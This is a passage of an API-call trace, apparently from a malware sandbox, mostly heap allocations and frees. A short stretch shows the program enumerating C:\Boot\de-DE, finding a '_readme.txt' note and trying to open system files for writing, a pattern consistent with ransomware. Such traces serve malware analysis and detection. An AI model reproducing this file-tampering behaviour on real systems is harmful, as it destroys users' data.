[0059.511] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.511] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.511] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.511] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.511] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.511] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.511] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.511] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.511] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.511] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.511] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.511] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.511] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.511] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.511] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.511] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.511] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.511] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.511] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.511] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.511] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.511] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.511] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.511] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.511] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.511] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.511] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.511] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.511] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.511] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.512] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.512] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.512] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.512] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.512] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.512] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.512] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.512] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.512] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.512] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.512] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.512] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.512] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.512] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.512] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.512] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.512] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.512] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.512] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.512] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.512] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.512] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.512] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.512] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.512] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.512] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.512] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.512] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.512] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.512] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.512] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.513] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.513] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.513] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.513] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.513] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.513] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.513] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.513] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.513] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.513] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.513] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.513] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.513] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.513] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.513] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.513] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.513] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.513] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.513] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.513] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.513] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.513] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.513] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.513] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.513] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.513] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.513] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.513] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.513] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.513] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.513] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.513] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.515] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.515] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.515] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.515] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.515] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.515] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.515] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.515] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.515] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.515] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.515] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.515] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.515] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.515] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.515] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.515] PathFindFileNameW (pszPath="C:\\Boot\\de-DE\\") returned="de-DE\\" [0059.515] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.515] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.515] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.515] PathFindFileNameW (pszPath="") returned="" [0059.515] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.516] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.516] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.516] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.516] PathAppendW (in: pszPath="C:\\Boot\\de-DE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 1 [0059.516] PathFileExistsW (pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 1 [0059.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.516] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13aa5870, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13aa5870, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.516] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13aa5870, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13aa5870, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.516] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.516] PathFindExtensionW (pszPath="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned=".mui" [0059.516] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018118 | out: hHeap=0x670000) returned 1 [0059.516] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13aa5870, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13aa5870, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13aa5870, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.517] PathFindExtensionW (pszPath="C:\\Boot\\de-DE\\_readme.txt") returned=".txt" [0059.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018118 | out: hHeap=0x670000) returned 1 [0059.517] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13aa5870, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13aa5870, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13aa5870, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.517] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5478 | out: hHeap=0x670000) returned 1 [0059.517] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.517] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.517] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.517] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.517] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.517] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.517] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.517] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.517] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.517] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.517] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.517] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.517] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.517] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 